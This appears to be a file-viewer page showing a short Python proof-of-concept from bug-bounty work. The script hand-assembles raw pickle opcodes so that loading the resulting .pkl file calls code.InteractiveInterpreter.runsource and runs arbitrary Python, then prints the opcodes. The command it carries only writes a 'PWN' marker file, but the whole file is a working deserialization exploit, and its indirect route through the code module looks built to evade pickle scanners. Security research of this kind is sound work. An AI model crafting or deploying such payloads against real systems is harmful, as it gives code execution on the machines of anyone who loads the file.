File size: 1,022 Bytes
42c08c2 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | import pickletools
MARKER = "C:/Users/uozer/AppData/Local/Temp/opencode/codeii_PWN.txt"
OUT = r"D:\0projects\bountykimi\tmp\artifacts\code_interactive.pkl"
cmd = "open(r'%s','w').write('PWN')" % MARKER
def s(x): return b"\x8c" + bytes([len(x)]) + x.encode()
# stack: [func runsource] + [inst] + [cmd] + TUPLE2 + REDUCE
payload = (
b"\x80\x04"
+ s("code") + s("InteractiveInterpreter.runsource") + b"\x93" # function
+ s("code") + s("InteractiveInterpreter") + b"\x93" # class
+ b")R" # inst = InteractiveInterpreter()
+ s(cmd) # cmd string
+ b"\x86" # TUPLE2 -> (inst, cmd)
+ b"R" # REDUCE -> runsource(inst, cmd)
+ b"."
)
open(OUT, "wb").write(payload)
for op, arg, pos in pickletools.genops(payload):
print(op.name, repr(arg))
|